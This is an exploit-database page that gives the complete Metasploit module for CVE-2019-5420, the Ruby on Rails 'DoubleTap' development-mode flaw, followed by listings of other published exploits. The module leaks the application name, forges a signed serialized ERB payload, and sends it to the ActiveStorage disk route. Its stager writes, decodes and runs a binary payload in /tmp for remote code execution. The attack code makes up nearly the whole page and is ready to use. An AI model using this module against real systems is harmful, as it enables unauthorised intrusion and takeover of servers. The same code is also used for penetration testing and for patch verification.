Menu

Search for hundreds of thousands of exploits

"Ruby On Rails - DoubleTap Development Mode secret_key_base Remote Code Execution (Metasploit)"

Author

Metasploit

Platform

linux

Release date

2019-05-02

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Auxiliary::Report

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Ruby On Rails DoubleTap Development Mode secret_key_base Vulnerability',
      'Description'    => %q{
        This module exploits a vulnerability in Ruby on Rails. In development mode, a Rails
        application would use its name as the secret_key_base, and can be easily extracted by
        visiting an invalid resource for a path. As a result, this allows a remote user to
        create and deliver a signed serialized payload, load it by the application, and gain
        remote code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'ooooooo_q', # Reported the vuln on hackerone
          'mpgn',      # Proof-of-Concept
          'sinn3r'     # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2019-5420' ],
          [ 'URL', 'https://hackerone.com/reports/473888' ],
          [ 'URL', 'https://github.com/mpgn/Rails-doubletap-RCE' ],
          [ 'URL', 'https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2019-5420/rubyonrails-security/IsQKvDqZdKw/UYgRCJz2CgAJ' ]
        ],
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Ruby on Rails 5.2 and prior', { } ]
        ],
      'DefaultOptions' =>
        {
          'RPORT' => 3000
        },
      'Notes'          =>
        {
          'AKA'         => [ 'doubletap' ],
          'Stability'   => [ CRASH_SAFE  ],
          'SideEffects' => [ IOC_IN_LOGS ]
        },
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 13 2019',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']),
      ])
  end

  NO_RAILS_ROOT_MSG = 'No Rails.root info'

  # These mocked classes are borrowed from Rails 5. I had to do this because Metasploit
  # still uses Rails 4, and we don't really know when we will be able to upgrade it.

  class Messages
    class Metadata
      def initialize(message, expires_at = nil, purpose = nil)
        @message, @expires_at, @purpose = message, expires_at, purpose
      end

      def as_json(options = {})
        { _rails: { message: @message, exp: @expires_at, pur: @purpose } }
      end

      def self.wrap(message, expires_at: nil, expires_in: nil, purpose: nil)
        if expires_at || expires_in || purpose
          ActiveSupport::JSON.encode new(encode(message), pick_expiry(expires_at, expires_in), purpose)
        else
          message
        end
      end

      private

      def self.pick_expiry(expires_at, expires_in)
        if expires_at
          expires_at.utc.iso8601(3)
        elsif expires_in
          Time.now.utc.advance(seconds: expires_in).iso8601(3)
        end
      end

      def self.encode(message)
        Rex::Text::encode_base64(message)
      end
    end
  end

  class MessageVerifier
    def initialize(secret, options = {})
      raise ArgumentError, 'Secret should not be nil.' unless secret
      @secret = secret
      @digest = options[:digest] || 'SHA1'
      @serializer = options[:serializer] || Marshal
    end

    def generate(value, expires_at: nil, expires_in: nil, purpose: nil)
      data = encode(Messages::Metadata.wrap(@serializer.dump(value), expires_at: expires_at, expires_in: expires_in, purpose: purpose))
      "#{data}--#{generate_digest(data)}"
    end

    private

    def generate_digest(data)
      require "openssl" unless defined?(OpenSSL)
      OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
    end

    def encode(message)
      Rex::Text::encode_base64(message)
    end
  end

  def check
    check_code = CheckCode::Safe
    app_name = get_application_name
    check_code = CheckCode::Appears unless app_name.blank?
    test_payload = %Q|puts 1|
    rails_payload = generate_rails_payload(app_name, test_payload)
    result = send_serialized_payload(rails_payload)
    check_code = CheckCode::Vulnerable if result
    check_code
  rescue Msf::Exploit::Failed => e
    vprint_error(e.message)
    return check_code if e.message.to_s.include? NO_RAILS_ROOT_MSG
    CheckCode::Unknown
  end

  # Returns information about Rails.root if we retrieve an invalid path under rails.
  def get_rails_root_info
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'rails', Rex::Text.rand_text_alphanumeric(32)),
    })

    fail_with(Failure::Unknown, 'No response from the server') unless res
    html = res.get_html_document
    rails_root_node = html.at('//code[contains(text(), "Rails.root:")]')
    fail_with(Failure::NotVulnerable, NO_RAILS_ROOT_MSG) unless rails_root_node
    root_info_value = rails_root_node.text.scan(/Rails.root: (.+)/).flatten.first
    report_note(host: rhost, type: 'rails.root_info', data: root_info_value, update: :unique_data)
    root_info_value
  end

  # Returns the application name based on Rails.root. It seems in development mode, the
  # application name is used as a secret_key_base to encrypt/decrypt data.
  def get_application_name
    root_info = get_rails_root_info
    root_info.split('/').last.capitalize
  end

  # Returns the stager code that writes the payload to disk so we can execute it.
  def get_stager_code
    b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"
    bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"
    register_file_for_cleanup(b64_fname, bin_fname)
    p = Rex::Text.encode_base64(generate_payload_exe)

    c  = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "
    c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "
    c << "%x(chmod +x #{bin_fname}); "
    c << "%x(#{bin_fname})"
    c
  end

  # Returns the serialized payload that is embedded with our malicious payload.
  def generate_rails_payload(app_name, ruby_payload)
    secret_key_base = Digest::MD5.hexdigest("#{app_name}::Application")
    keygen = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
    secret = keygen.generate_key('ActiveStorage')
    verifier = MessageVerifier.new(secret)
    erb = ERB.allocate
    erb.instance_variable_set :@src, ruby_payload
    erb.instance_variable_set :@filename, "1"
    erb.instance_variable_set :@lineno, 1
    dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
    verifier.generate(dump_target, purpose: :blob_key)
  end

  # Sending the serialized payload
  # If the payload fails, the server should return 404. If successful, then 200.
  def send_serialized_payload(rails_payload)
    res = send_request_cgi({
      'method'  => 'GET',
      'uri'     => "/rails/active_storage/disk/#{rails_payload}/test",
    })

    if res && res.code != 200
      print_error("It doesn't look like the exploit worked. Server returned: #{res.code}.")
      print_error('The expected response should be HTTP 200.')

      # This indicates the server did not accept the payload
      return false
    end

    # This is used to indicate the server accepted the payload
    true
  end

  def exploit
    print_status("Attempting to retrieve the application name...")
    app_name = get_application_name
    print_status("The application name is: #{app_name}")

    stager = get_stager_code
    print_status("Stager ready: #{stager.length} bytes")

    rails_payload = generate_rails_payload(app_name, stager)
    print_status("Sending serialized payload to target (#{rails_payload.length} bytes)")
    send_serialized_payload(rails_payload)
  end
end
Release Date Title Type Platform Author
2019-08-19 "Webmin 1.920 - Remote Code Execution" webapps linux "Fernando A. Lagos B"
2019-08-14 "ABC2MTEX 1.6.1 - Command Line Stack Overflow" dos linux "Carter Yagemann"
2019-08-12 "Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit)" remote linux AkkuS
2019-08-12 "Ghidra (Linux) 9.0.4 - .gar Arbitrary Code Execution" local linux "Etienne Lacoche"
2019-08-12 "Linux - Use-After-Free Reads in show_numa_stats()" dos linux "Google Security Research"
2019-07-30 "Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)" remote linux Metasploit
2018-12-29 "Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation" local linux bcoles
2018-12-29 "Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP)" local linux bcoles
2018-12-29 "Linux Kernel 4.8.0-34 < 4.8.0-45 (Ubuntu / Linux Mint) - Packet Socket Local Privilege Escalation" local linux bcoles
2019-01-04 "Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (polkit Method)" local linux bcoles
2018-11-21 "Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (ldpreload Method)" local linux bcoles
2019-01-04 "Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (dbus Method)" local linux bcoles
2018-11-21 "Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (cron Method)" local linux bcoles
2019-07-24 "Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation" local linux bcoles
2019-07-26 "pdfresurrect 0.15 - Buffer Overflow" dos linux j0lama
2019-07-22 "Axway SecureTransport 5 - Unauthenticated XML Injection" webapps linux "Dominik Penner"
2019-07-22 "Comtrend-AR-5310 - Restricted Shell Escape" local linux "AMRI Amine"
2019-07-19 "Docker - Container Escape" local linux dominikczarnotatob
2019-07-22 "BACnet Stack 0.8.6 - Denial of Service" dos linux mmorillo
2019-07-19 "Web Ofisi Firma 13 - 'oz' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
2019-07-19 "Web Ofisi Rent a Car 3 - 'klima' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
2019-07-19 "Web Ofisi Firma Rehberi 1 - 'il' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
2019-07-19 "Web Ofisi Emlak 3 - 'emlak_durumu' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
2019-07-19 "Web Ofisi Emlak 2 - 'ara' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
2019-07-19 "Web Ofisi Platinum E-Ticaret 5 - 'q' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
2019-07-19 "Web Ofisi E-Ticaret 3 - 'a' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
2019-07-19 "fuelCMS 1.4.1 - Remote Code Execution" webapps linux 0xd0ff9
2019-07-18 "WordPress Plugin OneSignal 1.17.5 - 'subdomain' Persistent Cross-Site Scripting" webapps linux LiquidWorm
2019-07-17 "Oracle Siebel CRM 19.0 - Persistent Cross-Site Scripting" webapps linux "Sarath Nair"
2019-07-17 "Linux - Broken Permission and Object Lifetime Handling for PTRACE_TRACEME" local linux "Google Security Research"
Release Date Title Type Platform Author
2019-08-05 "Apache Tika 1.15 - 1.17 - Header Command Injection (Metasploit)" remote windows Metasploit
2019-07-30 "Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)" remote linux Metasploit
2019-07-29 "WP Database Backup < 5.2 - Remote Code Execution (Metasploit)" remote php Metasploit
2019-07-29 "Schneider Electric Pelco Endura NET55XX Encoder - Authentication Bypass (Metasploit)" remote unix Metasploit
2019-07-17 "Windows - NtUserSetWindowFNID Win32k User Callback Privilege Escalation (Metasploit)" local windows Metasploit
2019-07-16 "PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserialize Remote Command Execution (Metasploit)" remote linux Metasploit
2019-07-16 "Microsoft Windows 10 < build 17763 - AppXSvc Hard Link Privilege Escalation (Metasploit)" local windows Metasploit
2019-07-12 "Xymon 4.3.25 - useradm Command Execution (Metasploit)" remote multiple Metasploit
2019-07-03 "Apache Tomcat - CGIServlet enableCmdLineArguments Remote Code Execution (Metasploit)" remote windows Metasploit
2019-07-03 "Serv-U FTP Server - prepareinstallation Privilege Escalation (Metasploit)" local linux Metasploit
2019-07-02 "Mac OS X TimeMachine - 'tmdiagnose' Command Injection Privilege Escalation (Metasploit)" local macos Metasploit
2019-06-26 "Nagios XI 5.5.6 - Magpie_debug.php Root Remote Code Execution (Metasploit)" remote linux Metasploit
2019-06-20 "Cisco Prime Infrastructure Health Monitor - TarArchive Directory Traversal (Metasploit)" remote linux Metasploit
2019-06-20 "Cisco Prime Infrastructure - Runrshell Privilege Escalation (Metasploit)" local linux Metasploit
2019-06-05 "LibreNMS - addhost Command Injection (Metasploit)" remote linux Metasploit
2019-06-05 "IBM Websphere Application Server - Network Deployment Untrusted Data Deserialization Remote Code Execution (Metasploit)" remote windows Metasploit
2019-05-29 "Oracle Application Testing Suite - WebLogic Server Administration Console War Deployment (Metasploit)" remote java Metasploit
2019-05-23 "Shopware - createInstanceFromNamedArguments PHP Object Instantiation Remote Code Execution (Metasploit)" remote php Metasploit
2019-05-23 "Apple Mac OS X - Feedback Assistant Race Condition (Metasploit)" local macos Metasploit
2019-05-20 "GetSimpleCMS - Unauthenticated Remote Code Execution (Metasploit)" remote php Metasploit
2019-05-08 "Oracle Weblogic Server - 'AsyncResponseService' Deserialization Remote Code Execution (Metasploit)" remote multiple Metasploit
2019-05-08 "PostgreSQL 9.3 - COPY FROM PROGRAM Command Execution (Metasploit)" remote multiple Metasploit
2019-05-08 "Google Chrome 72.0.3626.119 - 'FileReader' Use-After-Free (Metasploit)" remote windows_x86 Metasploit
2019-05-02 "Ruby On Rails - DoubleTap Development Mode secret_key_base Remote Code Execution (Metasploit)" remote linux Metasploit
2019-04-30 "Pimcore < 5.71 - Unserialize RCE (Metasploit)" remote php Metasploit
2019-04-30 "AIS logistics ESEL-Server - Unauth SQL Injection RCE (Metasploit)" remote windows Metasploit
2019-04-25 "RARLAB WinRAR 5.61 - ACE Format Input Validation Remote Code Execution (Metasploit)" local windows Metasploit
2019-04-19 "Atlassian Confluence Widget Connector Macro - Velocity Template Injection (Metasploit)" remote multiple Metasploit
2019-04-19 "SystemTap 1.3 - MODPROBE_OPTIONS Privilege Escalation (Metasploit)" local linux Metasploit
2019-04-18 "LibreOffice < 6.0.7 / 6.1.3 - Macro Code Execution (Metasploit)" local multiple Metasploit
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46785/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/46785/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46785/41225/ruby-on-rails-doubletap-development-mode-secret-key-base-remote-code-execution-metasploit/download/", "exploit_id": "46785", "exploit_description": "\"Ruby On Rails - DoubleTap Development Mode secret_key_base Remote Code Execution (Metasploit)\"", "exploit_date": "2019-05-02", "exploit_author": "Metasploit", "exploit_type": "remote", "exploit_platform": "linux", "exploit_port": null}
                    

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Browse exploit APIBrowse